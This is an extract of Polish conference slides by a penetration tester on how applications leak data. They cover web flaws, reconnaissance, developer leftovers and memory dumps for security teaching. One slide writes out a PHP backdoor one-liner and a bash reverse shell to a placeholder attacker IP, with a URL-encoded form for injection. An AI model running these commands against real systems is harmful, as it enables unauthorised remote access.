Wyciek danych w aplikacjach - Artur Kalinowski, 4Developers

Wyciek danych w aplikacjach

Artur Michał Kalinowski

Bio

Artur Michał Kalinowski (amk78)– pentester w LogicalTrust

– wcześniej pentester, administrator, programista, ...

– wykładowca (informatyka śledcza, bezpieczeństwo IT…)

– współpraca z {„gov”} w zakresie informatyki śledczej i bezpieczeństwa IT

– członek zespołu administracyjnego na forum związanym z bezpieczeństwem IT

– autor książki „Metody inwigilacji i elementy informatyki śledczej”

● Testy penetracyjne● Audyty bezpieczeństwa● Szkolenia● Konsultacje● Informatyka śledcza● Aplikacje mobilne

> 10 lat - testy bezpieczeństwa

Edukacja: www.bothunters.pl ~ 8 lat blogowania o cyberprzestępcach

Confidence, SEMAFOR, SECURE, Atak i Obrona, Security Case Study, Internet Banking Security, ISSA, SecureCON, SEConference, SekIT, PTI, Open Source Security, PLNOG (…)

http://www.bothunters.pl/

Zagadnienia

● Błędne założenia projektowe podstawą przyszłych kłopotów● Typowe błędy, które niosą poważne konsekwencje● Na co zwraca uwagę atakujący● Darmowe narzędzia ułatwiające pozyskanie pożądanych informacji● Analiza działania aplikacji ● Pozostałości developerskie, środowiska testowe oraz niewłaściwa konfiguracja

środowisk produkcyjnych ● "Bez komentarza" :) ● Pozyskiwanie wrażliwych danych z pamięci operacyjnej ● Czy stosowanie restrykcyjnych zabezpieczeń ułatwia ataki? ● Aplikacje mobilne a bezpieczeństwo

Wyciek danych

Źródło: http://www.redorbit.com/media/uploads/2013/09/dataleaks.jpg--2016-03-31

Źródło: Google

Źródło: http://swagct.com/uploads/2012/03/1_1332498132.jpg

Wyciek danych

● Czym jest wyciek danych i z czego często wynika– niewiedza, brak motywacji, brak polityk, wzorców, zasad

– niewłaściwe środowisko, konfiguracja, brak odpowiednich rozwiązań

– presja czasu, budżet (przesunięcia, cięcia, ograniczenia)

– chęć zemsty, sławy

Źródło: http://www.observeit.com/sites/default/files/content_images/blog_images/data-leak1.jpg

Wyciek danych

● Wycieki danych– przypadkowe / niezamierzone (np. na skutek błędów)

– celowe (np. pozostawione celowo luki)

– prowokowane (np. celowe doprowadzenie do wycieku poprzez zainicjowanie odpowiednich działań)

Źródło: http://blogs.intralinks.com/collaborista/wp-content/uploads/sites/2/2014/02/Bitcoin2-696x398.png

http://blogs.intralinks.com/collaborista/wp-content/uploads/sites/2/2014/02/Bitcoin2-696x398.png

Wyciek danych

Pozornie niewinne żarty mogą być z łatwością zaadoptowane do rzeczywistych ataków.

Wyciek danych

$_GET['a']($_GET['b']);

Niektóre wycieki danych mogą być wynikiem celowo pozostawionych furtek.

Wyciek danych

Reverse shell z użyciem basha:bash -i >& /dev/tcp/IP_ATAKUJACEGO/443 0>&1

tworzymy odpowiedni plik po stronie serwera, który następnie uruchamiamy:

echo "/bin/bash -i >& /dev/tcp/IP_ATAKUJACEGO/443 0>&1" > b && /bin/bash b

pamiętamy o odpowiednim kodowaniu:php -r "echo urlencode('echo \"/bin/bash -i >& /dev/tcp/IP_ATAKUJACEGO/443 0>&1\" > b && /bin/bash b');"

echo+%22%2Fbin%2Fbash+-i+%3E%26+%2Fdev%2Ftcp%2FIP_ATAKUJACEGO%2F443+0%3E%261%22+%3E+b+%26%26+%2Fbin%2Fbash+b

Wyciek danych

umieszczamy dane w URLu ...

… w efekcie serwer łączy się z nami i uzyskujemy dostęp do wiersza poleceń:

Wyciek danych

● Częste przyczyny i źródła wycieku danychsieć m.in. :

● niewłaściwa ochrona komunikacji,● zła separacja, ● niewłaściwe zarządzanie dostępem i monitoring

Źródło: http://infosystem1.com/wp-content/uploads/2013/09/network-security.jpg

Wyciek danych

● Częste przyczyny i źródła wycieku danych– przykład – pozyskanie IP z sieci wewnętrznej

1) zmiana wersji protokołu z HTTP/1.1 na HTTP/1.0

2) usunięcie pola host z nagłówka żądania

w efekcie:● atakujący zna IP serwera● atakujący zna adresację w sieci, w której znajduje się serwer

proste wykorzystanie:● img z adresem z ujawnionej puli + /icons/right.gif● zdarzenie onload lub onerror● wysłanie linka do spreparowanej strony użytkownikowi

w firmie

Wyciek danych

W efekcie uzyskujemy adresy IP z sieci wewnętrznej, na których uruchomiony jest, z dużym prawdopodobieństwem, serwer Apache.

Analogicznie, na podstawie charakterystycznych lokalizacji zasobów, można zidentyfikować również obecność innych aplikacji w sieci lokalnej.

Wyciek danych

● Częste przyczyny i źródła wycieku danychsystem m.in. :

● niewłaściwa konfiguracja (np. dostępu, aktualizacji, ochrony danych, wpad),

● zrzuty pamięci (np. w wyniku błędów bądź inicjowane przez użytkownika)

● system plików:– pliki tymczasowe– pliki wymiany, hibernacji– metadane– usunięte pliki– slack space– … Źródło:http://osheaven.net/wp-content/uploads/2011/07/data-security.jpg

Wyciek danych

Wyciek danych

● Częste przyczyny i źródła wycieku danychusługi:

● banery,● dane w nagłówkach odpowiedzi, informacje o systemie

i komponentach, ● komunikaty o błędach, ● znane zasoby, ● pliki konfiguracyjne (w tym też .htaccess, robots,

a czasem nawet .bash_history)● .csv, .svn, .git, ● /server-status, /status, ● VRFY

Wyciek danych

● Częste przyczyny i źródła wycieku danych

W przykładzie wykorzystano apache.org. W celu zobrazowania ewentualnego wycieku danych użyto fikcyjnych parametrów.

Wyciek danych


Wyciek danych

● Częste przyczyny i źródła wycieku danychaplikacje m.in. :

– pliki konfiguracyjne, includowane,

– intuicyjne nazwy zasobów,

– walidacja jedynie po stronie UI,

– niewłaściwe filtrowanie potencjalnie szkodliwego kodu,

– poleganie na danych wejściowych z niezaufanych źródeł,

– niewłaściwa obsługa uploadu plików,

– brak weryfikacji integralności plików danych lub konfiguracji,

– brak zaciemniania kodu,

– niewłaściwe miejsca składowania danych,

– logowanie danych wrażliwych,

– ...

Wyciek danych


Źródło: Google

Wyciek danych

● Częste przyczyny i źródła wycieku danychdane:

● backupy (w tym niewłaściwa polityka składowania, przesyłu, usuwania)● statystyki, logi, dane przykładowe/testowe● pliki z metadanymi (dokumenty, grafika)

użytkownicy: ● wklejenie danych ze schowka, ● użycie podobnych haseł, ● omyłkowe użycie haseł, ● przesłanie danych (np. chęć pomocy, pokazania czegoś ciekawego)● przesłanie danych w złe miejsce (np. wydruk), ● pozostawienie wydruku, ● niewłaściwe zniszczenie danych (np. wyrzucenie do kosza

błędnie/częściowo wydrukowanych dokumentów)

Błędne założenia projektowe

● Niewłaściwa walidacja danych– walidacja jedynie części danych

np. danych z GET/POST

– walidacja po stronie aplikacji (UI)

bez walidacji po stronie serwera

– brak walidacji typów zmiennych

– akceptacja danych dostarczonych w dowolny sposób (POST→GET, Cookie → GET itp.)

– neutralizacja potencjalnie szkodliwych danych na wyjściu, a nie na wejściu

Źródło: http://i.imgur.com/GluNcro.jpg


● Niewłaściwa walidacja danych– brak walidacji niektórych danych

np. pola Host przesyłanego w żądaniu

– poleganie na wartościach kontrolowanych przez użytkownikaUser-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)

– walidacja danych pod względem właściwego typu, ale bez uwzględnienia granicznych wartości

id=-1, id=9999999999999

– brak walidacji pod kątem dopuszczalnych wartości m.in.:możliwych do wczytania plików,

możliwych nazw przesyłanych plików,

identyfikatorów rekordów danych dostępnych dla danego użytkownika

...


● Niewłaściwa ochrona komunikacji– brak użycia funkcji kryptograficznych

– kodowanie zamiast szyfrowania

– użycie „własnych” (podatnych na kryptoanalizę) rozwiązań

– łączenie treści (na jednej stronie dostępne treści pobierane przy użyciu szyfrowanego oraz nieszyfrowanego połączenia)

– brak wymuszenia szyfrowania lub przesyłania danych szyfrowanymi kanałami (HSTS, flaga Secure)

– niewłaściwe użycie funkcji (np. random, zamiast jej bezpiecznego odpowiednika)

– użycie „słabych” funkcji hashujących i algorytmów kryptograficznych

– brak weryfikacji poprawności certyfikatów Źródło: http://bi.gazeta.pl/im/a4/89/dd/z14518692Q,Klucz-zostawil-pod-wycieraczka.jpg


● Niewłaściwe składowanie danych– brak szyfrowania istotnych informacji

– brak weryfikacji integralności danych

– wrażliwe dane w niewłaściwych miejscach (SD)

– kopie zapasowe, logi, uploadowane pliki w publicznie dostępnych miejscach

– niewłaściwe usuwanie/pozostawienie danych

– błędne zarządzanie pamięcią cache

– zapamiętywanie danych formularzy

– znaki wykorzystywane jako separatory pól nie są neutralizowane w danych wejściowych (np. dane zapisywane do pliku, kolumny oddzielone znakiem „|”, a znak „|” nie jest filtrowany i może być użyty np. w nazwie użytkownika).

Źródło: https://d.justpo.st/media/images/2014/09/10dd7c2fc17e23e9034fdff552bf5f71.jpg


● Niewłaściwe oczyszczanie danych– dopuszczenie użycia znaków, które mogą wpłynąć na

logikę działania aplikacji (np. zmienić treść zapytania sql)

– oczyszczanie danych podczas odsyłania treści do aplikacji, a nie przed zapisem danych wejściowych do bazy

– mniejsze restrykcje w stosunku do danych importowanych („słabsza” walidacja)

– poleganie jedynie na frameworku (założenie, że nikt nie utworzy własnej funkcji obsługującej dane, że nikt nie zmieni konfiguracji itp.)


● Niewłaściwe oczyszczanie danych

Źródło: https://hackadaycom.files.wordpress.com/2014/04/18mpenleoksq8jpg.jpg?w=636


● Niewłaściwe zarządzanie uprawnieniami– brak spójności pomiędzy funkcjami dostępnymi w interfejsie

użytkownika, a rzeczywistymi uprawnieniami (ograniczenie na zasadzie braku dostępnej danej funkcji w interfejsie)

– brak ochrony zasobów (np. uploadowanych plików, znając nazwę i lokalizację można pozyskać plik)

– dostęp na podstawie danych z niezaufanych źródeł (np. na podstawie IP przesyłanego w X-Forwarded-For)

– brak weryfikacji integralności uprawnień (możliwość zmiany uprawnień poprzez modyfikację plików konfiguracyjnych, zmianę cookies, parametrów URL itp.)

– ...


● Brak uwzględnienia kwestii bezpieczeństwa– wrażliwe dane lub tokeny przesyłane w URL

– linki do zewnętrznych serwisów ze stron, których URLe zawierają istotne informacje (referer)

– brak właściwej obsługi wyjątków, szczegółowe informacje o błędach, w tym fragmenty zapytań i danych

– użycie niezaufanych lub nieaktualnych komponentów, brak uwzględnienia właściwej polityki aktualizacji i utrzymania aplikacji

– ...



Typowe błędy, które niosą poważne konsekwencje

● XSS Niewłaściwie oczyszczane dane wejściowe umożliwiają osadzenie własnego kodu, a przez to przejęcie kontroli nad treścią wyświetlanej strony.

– śledzenie działań użytkownika

– dostęp do treści przeznaczonej dla danego użytkownika (w tym informacji wrażliwych)

– możliwość modyfikacji treści (manipulacji danymi, osadzenia „szkodliwych” treści np. plików)

– przekierowanie na fałszywą stronę (phishing)


● XSS – pozyskanie hasła


● XSS – w połączeniu z Metasploitem


● SQLi

Często widoczne fragmenty zapytań bądź nawet danych. Informacje o błędach ujawniające rodzaj stosowanego rozwiązania, charakterystyczne zachowanie, opóźnienia czasowe itp.– pozyskanie informacji o środowisku

– pozyskanie informacji o użytkownikach

– pozyskanie danych z bazy

– manipulacja danymi (np. zmiana sald)

– dodanie użytkownika do systemu

– podwyższenie uprawnień użytkowników

– dostęp do plików

– umieszczenie „złośliwych” skryptów, dostęp do konsoli






● XXE

Pozyskanie danych z systemu; plików konfiguracyjnych, listy użytkowników, danych o środowisku...– zakłócenie pracy aplikacji (DoS)

– pozyskanie kodu źródłowego np. .php, w tym ujawnienie danych dostępowych do baz itp.

– ...


● XXE – pozyskanie listy użytkowników systemu


● XXE – odczyt plików .php (najpierw szukamy...)


● XXE– odczytanie zawartości pliku php


● Brak szyfrowania danych– nieuprawniony dostęp do informacji i jej ujawnienie

– pozyskanie danych uwierzytelniających

– działania w imieniu uprawnionego użytkownika

– manipulacja przesyłanymi danymi

– zakłócenie pracy aplikacji

– ...


● MITM - pozyskanie przesyłanych danych


● Wykorzystanie przewidywalnych wartości● przewidywalne identyfikatory (w tym id sesji),● wartości tokenów, ● nazwy kont użytkowników, ● lokalizacja i nazwy plików...

– dostęp do danych innych użytkowników

– dostęp do plików z poziomu niezalogowanych użytkowników

– przejęcie sesji innego użytkownika

– dokonywanie/anulowanie zamówień jako inny użytkownik

– ...


● Brak zaciemnienia kodu

Łatwa analiza działania oraz identyfikacja potencjalnych podatności.– hardcodowane dane (hasła)

– możliwość wyszukiwania podatnych funkcji i niebezpiecznych konstrukcji (grep + słownik)

– ujawnienie struktur danych, zapytań

– ...


● Odsyłanie informacji o błędach

Pozwala pozyskać istotne dane i zredukować czas potrzebny na rozpoznanie oraz ilość informacji w logach, które mogą wskazywać na rozpoczęcie ataku.– identyfikacja użytkowników (np. wewnętrznych,

wykorzystywanych po stronie serwera)

– identyfikacja technologii

– informacje o stosowanym oprogramowaniu

– informacje o lokalizacji zasobów

– identyfikacja użytych funkcji i przyczyn błędów

– wskazówki (jakie wartości są akceptowane – ułatwia dalsze ataki)

– identyfikacja obecności użytkownika, zasobu itp.


● Użycie niewłaściwych funkcji– przepełnienia bufora (pominięcie logowania, dostęp do danych)

– niewłaściwe generatory pseudolosowe (przewidywalne wartości)

– niewłaściwe funkcje hashujące (możliwość kolizji)

– niewłaściwe algorytmy szyfrowania lub protokoły (możliwość pozyskania treści przesyłanych w szyfrowanym połączeniu)

– …

● Niewłaściwe wytwarzanie oprogramowania● możliwe debugowanie,● brak ochrony stosu,● pozostawianie dokumentacji roboczej i informacji o błędach w publicznym miejscu, ● wykorzystanie gotowego kodu z innych aplikacji bez uwzględniania specyfikacji

obecnych wymagań,...

– możliwość przejęcia kontroli nad aplikacją, a nawet systemem


Na co zwraca uwagę atakujący

● publicznie dostępne informacje – użycie wyszukiwarek celem zdobycia informacji m.in. o:

● ostrzeżeniach, błędach, komunikatach, ● plikach składowych (index.of), ● panelach administracyjnych, ● rodzajach plików (np. .asp, .php), lokalizacji, kopii plików● metadanych● adresach URL

– wpisy na forach● dyskusje programistów związanych z daną aplikacją● dyskusje związane ze znalezionymi przez „wolontariuszy” lukami

● identyfikacja technologii: banery, nagłówki, informacje o błędach, środowisku, komponentach, domyślne strony i zasoby, pliki składowe– poszukiwanie luk związanych ze zidentyfikowaną technologią

i komponentami

Na co zwraca uwagę atakujący

● rodzaj aplikacji, przetwarzanych danych, powiązania z innymi usługami (czy na serwerze obecne inne usługi, które można wykorzystać)– przewidywalność danych (tokenów, identyfikatorów, id sesji, nazw plików)

– obecność logów, statystyk, paneli administracyjnych

● konfiguracja środowiska (czy domyślna, robocza itp.)– domyślne zasoby,

– stosowane mechanizmy zabezpieczeń i monitoringu

– aktualność komponentów

– raportowanie błędów

– ochrona przed zautomatyzowanymi działaniami

● mechanizmy filtrowania i walidacji● mechanizmy uploadu/backupu/importu● polityki bezpieczeństwa: haseł, backupów, utrzymania aplikacji

Darmowe narzędzia ułatwiające pozyskanie pożądanych informacji

● Serwisy online– https://archive.org/web/

– Bing, Google, …

– netcraft

– https://www.shodan.io/

– robtex, virustotal, …

– Facebook, LinkedIn, ...

...

Źródło: archive.org

Źródło: www.shodan.io

https://archive.org/web/

https://www.shodan.io/

Darmowe narzędzia ułatwiające pozyskanie pożądanych informacji

– skanery (np. OWASP ZAP, nikto, sqlmap, Nmap z odpowiednimi skryptami NSE…)

– skanery zasobów (np. DirBuster)

– fuzzery (np. wfuzz)

– proxy (np. OWASP ZAP, Burp)

– frameworki (np. Metasploit)

– łamacze haseł/odgadywanie haseł (np. john, Hydra, Medusa)

– narzędzia konsolowe:curl, openssl, (n)grep, theHarvester, foremost, driftnet, dsniff, exiftool, gooscan, goofile ...

– inne (np. evilgrade)

Analiza działania aplikacji

● czy aplikacja da się uruchomić w kontrolowanym przez nas środowisku (możliwość monitorowania, wstrzymania, podmiany danych, odczytania tymczasowych danych przed usunięciem)

● z jakich komponentów korzysta i jak je weryfikuje (możliwość podmiany)

● jak przetwarza dane wejściowe (czy i na którym etapie je waliduje/oczyszcza)

● czy łączy się do innych hostów (czy połączenie szyfrowane)● jakich funkcji używa (czy są one bezpieczne)● gdzie zapisuje dane robocze i co umieszczane w logach● jakie informacje umieszcza w komunikatach o błędach

Pozostałości developerskie

● odwołania do środowiska developerskiego w kodzie● zasoby testowe, konsole testowe/developerskie● konta testowe● informacje logowane w konsoli● flagi/parametry umożliwiające uwierzytelnienie● funkcje resetowania ustawień, instalatory● zasoby związane z rozwojem aplikacji (repozytoria plików, historia

zmian, zadania do wykonania, dokumentacja projektowa/testowa)● pliki tymczasowe, kopie, stare wersje plików● zrzuty pustych baz (struktur) lub stanów początkowych● zdalny dostęp, aktywne dodatkowe usługi● niewyczyszczone logi oraz dane testowe



Środowiska developerskie i testowe

● niewłaściwa kontrola dostępu (publiczny dostęp do aplikacji lub jej zasobów)

● zindeksowanie informacji o błędach oraz struktury katalogowej

● wycieki fragmentów kodu● brak wykorzystania kryptografii● tylne furtki (do szybkiego dostępu i zmian)● modyfikacje z pominięciem procesu dokumentowania

zmian● użycie rzeczywistych danych (danych produkcyjnych)● ...

Środowiska produkcyjne

● niewłaściwe wdrożenia– niekompletna lub domyślna konfiguracja

– niekompletny lub nieprzetestowany kod

– szybkie poprawki funkcjonalne lub maskujące błędy

– pozostawienie danych lub dostępów testowych

– niewłaściwe przekazanie danych dostępowych

– niedostateczne przetestowanie/poznanie rozwiązań przez użytkowników i administratorów

● utrzymanie aplikacji– niewłaściwe procedury backupów (tworzenia/składowania/przywracania)

– niewłaściwe procedury aktualizacji

– niewłaściwa/niebezpieczna konfiguracja mechanizmów kontroli dostępu i wymiany danych

● migracja i modyfikacje funkcjonalności– migracja danych we własnym zakresie (własne rozwiązania)

– działania poza interfejsem aplikacji (np. operacje bezpośrednio na bazie)

Komentarze

● szczegółowe opisy kodu (np. parametrów funkcji)ułatwia atakującemu analizę aplikacji i szukanie luk

● opisy planowanych funkcjonalności (np. „tu będzie dodatkowe pole komentarza”)

ciekawe czy jest już to po stronie serwera obsługiwane?

● opisy problemów (np. „tu coś się psuło, więc trzeba było wyłączyć”)czy wyłączone tylko w UI, czy po stronie serwera też wyłączona obsługa?

coś się psuje – dobry trop!

● zakomentowane fragmenty funkcji – oznacza, że z jakiegoś powodu funkcje zostały wyłączone

z jakiego?, może coś nie działało jak trzeba?

● ToDo (np. „zrobić walidację”, „ograniczyć zakres”, „ograniczyć uprawnienia”)

dobrze wiedzieć co nie działa :)

Pozyskiwanie wrażliwych danych z pamięci operacyjnej

● zrzut pamięci procesunp. procdump -ma program.exe

● zrzut całej pamięci RAMnp. Dumpit.exe

● zrzut pamięci jądranp. C:\Windows\Minidump\Minidump.dmp

● pozyskiwanie ciągów tekstowych ze zrzutów np. strings -n 6 program.exe.dmp > program.exe.txt

● pozyskiwanie danych binarnychnp. foremost -o program.exe.dmp

Pozyskiwanie wrażliwych danych z pamięci operacyjnej

Czy stosowanie restrykcyjnych zabezpieczeń ułatwia ataki

● Podejście atakującego– wykorzystać siłę i zasoby przeciwnika przeciwko niemu

przykład – w firmie stosowane są hasła, które muszą: ● mieć przynajmniej 12 znaków● zawierać zarówno małe jak i wielkie litery● zawierać cyfry● zawierać znaki specjalne

co robi atakujący:● przeszukuje zasoby pamięci/danych np. z użyciem np. strings + grep i szuka

ciągów, które zawierają jednocześnie:– duże i małe litery, cyfry, znaki specjalne i mają przynajmniej 12 znaków

● dzięki temu znacznie ogranicza zbiór potencjalnych haseł np. z kilkudziesięciu/kilkuset MB (wielkość zrzutu procesu), do około kilku KB (np. 100 możliwych ciągów), które odpowiadają wzorcowi przyjętemu dla hasła

● atak wymaga jedynie sprawdzenia niewielkiej ilości potencjalnych haseł

Czy stosowanie restrykcyjnych zabezpieczeń ułatwia ataki

● Podejście atakującego– wykorzystać siłę i zasoby przeciwnika przeciwko niemu

przykład 2 – w firmie hasła do systemów i aplikacji są zmieniane co 30 dni:

● jest wielu użytkowników● użytkownicy mają dostęp do wielu systemów/aplikacji● muszą się codziennie wiele razy logować

jakie wnioski można z tego wyciągnąć atakujący:● hasła do systemów i aplikacji będą podobne ● użytkownicy użyją schematów np. będą tworzyć hasła w

oparciu o miesiące lub wybrane słowo i kolejne dni● pozyskanie hasła do jednej z aplikacji otwiera furtkę do innych

Aplikacje mobilne a bezpieczeństwo

● Częste błędy:– brak zabezpieczeń kryptograficznych dla istotnych danych

– „wrażliwe” informacje zapisywane do logów

– brak weryfikacji certyfikatów

– dane zapisywane na karcie SD

– zła randomizacja

– brak „zaciemnienia” kodu

– osadzanie haseł i innych „wrażliwych” danych w aplikacji

– api mobilne mniej restrykcyjne w stosunku do restrykcji w przypadku stron WWW



Podsumowanie

● nawet pozornie nieszkodliwe informacje mogą być cenną wskazówką dla atakującego

● jeżeli jakieś dane wyciekną do Internetu, to najprawdopodobniej zostaną powielone n razy w x miejscach

● atakujący często może pozyskać dużo istotnych danych pasywnie - bez nawiązywania połączenia z naszymi serwerami/siecią

● nigdy nie należy zakładać, że atakujący użyje aplikacji zgodnie z jej przeznaczeniem i w spodziewanym środowisku

● wycieki informacji/danych są zaproszeniem dla atakującego i często prowadzą do przykrych konsekwencji

● wycieki mogą powstawać w najmniej spodziewanych miejscach, często przez roztargnienie, niedopatrzenie, niewiedzę

● fałszywy, kontrolowany wyciek może być ciekawą bronią

Dziękuję za uwagę

● Pytania?

Prezentowany materiał przeznaczony wyłącznie do celów edukacyjnych.

Wszelkie nazwy, zdjęcia, znaki firmowe i towarowe niebędące własnością prelegenta oraz firmy, należą do ich właścicieli i zostały użyte jedynie w celach informacyjnych.

Software

Wyciek danych w aplikacjach - Artur Kalinowski, 4Developers